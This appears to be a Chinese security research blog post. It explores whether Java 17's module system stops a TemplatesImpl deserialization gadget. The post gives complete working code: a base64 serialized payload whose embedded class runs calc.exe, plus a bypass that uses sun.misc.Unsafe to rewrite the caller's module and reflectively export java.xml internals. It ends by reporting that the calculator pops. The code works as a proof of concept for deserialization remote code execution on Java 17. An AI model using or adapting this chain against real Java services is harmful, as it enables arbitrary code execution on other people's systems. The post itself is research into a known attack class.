前言 好奇,模块化会不会影响对象的反序列化。
测试代码 同样是用TemplatesImpl类做测试,由于Java17环境下不能跨模块实例化构造序列化数据,所以先在Java8环境下生成好序列化数据,然后在Java17环境下进行反序列化:
1 2 3 4 5 6 7 8 9 byte [] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==" );try { ByteArrayInputStream bis = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bis); Object obj = ois.readObject(); System.out.println(obj.getClass().getName()); }catch (Exception e) { e.printStackTrace(); }
输出结果:
1 com.sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl
说明虽然Java对跨模块生成对象进行了限制,但是貌似这种限制只体现在newInstance等显式构造代码中,而反序列化中隐含的对象生成途径没有进行限制。
简单试下反射调用函数进行类加载:
1 2 3 4 5 6 7 ByteArrayInputStream bis = new ByteArrayInputStream (bytes);ObjectInputStream ois = new ObjectInputStream (bis);Object obj = ois.readObject(); System.out.println(obj.getClass().getName());Method method = obj.getClass().getDeclaredMethod("getOutputProperties" ); System.out.println(method.getName()); method.invoke(obj);
报错,看来除了不仅是实例化时候的构造函数调用,跨模块反射调用普通的函数也会被拦截。
但是我们已经获得了一个TemplatesImpl实例,可以尝试通过Unsafe改写Module进行绕过,但是直接套用原代码时遇到了问题,TemplatesImpl类中不存在名为module的属性。
为了解决这个问题,先研究一下跨模块反射的拦截点,调试找到Reflection类的verifyModuleAccess函数,发现TemplatesImpl中确实存在为java.xml的module,那么问题应该出在getDeclaredField上面,由于module定义在Class中,而TemplatesImpl.class中只保存了TemplatesImpl相关的属性信息,没有module所以无法获取。
再回头看看源代码:
1 unSafeClass.getAndSetObject(currentClass, addr, baseModule);
将待运行代码所属的module改为了baseModule,baseModule即java.base的module,而报错为:
1 class org.example .Main (in module java.base) cannot access class com.sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl (in module java.xml)
说明问题只是baseModule与TemplatesImpl所属的java.xml这个module不符合,因此解决方法很简单,只需要把baseModule换成TemplatesImpl的所属module就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 byte [] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==" );try { ByteArrayInputStream bis = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bis); Object obj = ois.readObject(); System.out.println(obj.getClass().getName()); Method method = obj.getClass().getDeclaredMethod("getOutputProperties" ); System.out.println(method.getName()); Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass = (Unsafe) unSafeField.get(null ); Class<?> currentClass= Main.class; long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule()); method.invoke(obj); }catch (Exception e) { e.printStackTrace(); }
但是计算器没有弹出,再调试一下TemplatesImpl类,报错:
1 superclass access check failed: class org.example .TestJavassist (in unnamed module @0 x2437c6dc) cannot access class com.sun .org .apache .xalan .internal .xsltc .runtime .AbstractTranslet (in module java.xml) because module java.xml does not export com.sun .org .apache .xalan .internal .xsltc .runtime to unnamed module @0 x2437c6dc
说明Java17的序列化方式也发生了变化,添加了module相关的序列化数据,又或者只是单纯从package里面获取所属module,简单尝试一下,排除第二个可能,想要解决这个问题只能先了解一下Java17的类字节码数据了。
首先给自己的项目定义一个module,在源码根目录下新建一个module-info.java:
1 2 3 module java17.unserialization { requires jdk.unsupported; }
简单定义一个对象用于观察,结果发现字节码数据中没有module的相关信息,在Google上搜索一下,也没有找到什么有用的方法。
转换一下思路,如果无法从字节码中定义module,那我们还可以考虑修改TemplatesImpl的module,想办法让他接受unnamed module,而Module类属于java.lang包下,所以我们还有机会对其进行修改。
简单看一下Module源码,发现其中存在一个ALL_UNNAMED_MODULE属性,或许可以用来将java.xml配置为向所有unnamed module开放,继续阅读源码寻找合适的方法调用,找到implAddExportsToAllUnnamed方法:
1 2 3 void implAddExportsToAllUnnamed (String pn) { implAddExportsOrOpens(pn, Module.ALL_UNNAMED_MODULE, false , true ); }
其方法描述为:
1 2 3 Updates this module to export a package to all unnamed modules. API Note: Used by the
该命令的含义为:
1 --add-exports <source-module >/<package >=<target-module -list>
用于将该module导出到其他module中,看起来能让unnamed module访问java.xml,应该可以成事:
1 2 3 4 5 6 Module module = obj.getClass().getModule(); System.out.println(module .getName());Method addReadsAllUnnamed = module .getClass().getDeclaredMethod("implAddExportsToAllUnnamed" , String.class); addReadsAllUnnamed.setAccessible(true ); addReadsAllUnnamed.invoke(module ); System.out.println("Maybe ok." );
试一下,发现报错:
1 Unable to make void java.lang .Module.implAddExportsToAllUnnamed(java.lang .String) accessible: module java.base does not "opens java.lang" to unnamed module @69 d0a921
看来需要跟访问ClassLoader一样先修改一下main函数的所属module,最后的完成版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 byte [] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAnTK/rq+AAAANAAhCgADAA0HAA4HAA8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANkxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9UZXN0OwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQEANGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAEQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABMAFAoAEgAVAQAIY2FsYy5leGUIABcBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAZABoKABIAGwEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAeCgAfAA0AIQACAB8AAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAILEAAAACAAcAAAAGAAEAAAADAAgAAAAMAAEAAAAFAAkACgAAAAgAEAAFAAEABgAAACQAAwACAAAAD6cAAwFMuAAWEhi2ABxXsQAAAAEAHQAAAAMAAQMAAQALAAAAAgAMcHQAA1B3bnB3AQB4" );try { ByteArrayInputStream bis = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bis); Object obj = ois.readObject(); System.out.println(obj.getClass().getName()); Method method = obj.getClass().getDeclaredMethod("getOutputProperties" ); System.out.println(method.getName()); Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField = unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass = (Unsafe)unSafeField.get(null ); Class<?> currentClass = Main.class; long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); Module baseModule = Object.class.getModule(); unSafeClass.getAndSetObject(currentClass, addr, baseModule); Module module = obj.getClass().getModule(); System.out.println(module .getName()); Method addReadsAllUnnamed = module .getClass().getDeclaredMethod("implAddExportsToAllUnnamed" , String.class); addReadsAllUnnamed.setAccessible(true ); addReadsAllUnnamed.invoke(module , "com.sun.org.apache.xalan.internal.xsltc.runtime" ); System.out.println("Maybe ok." ); unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule()); method.invoke(obj); }catch (Exception e) { e.printStackTrace(); }
计算器正常弹出,尝试成功了。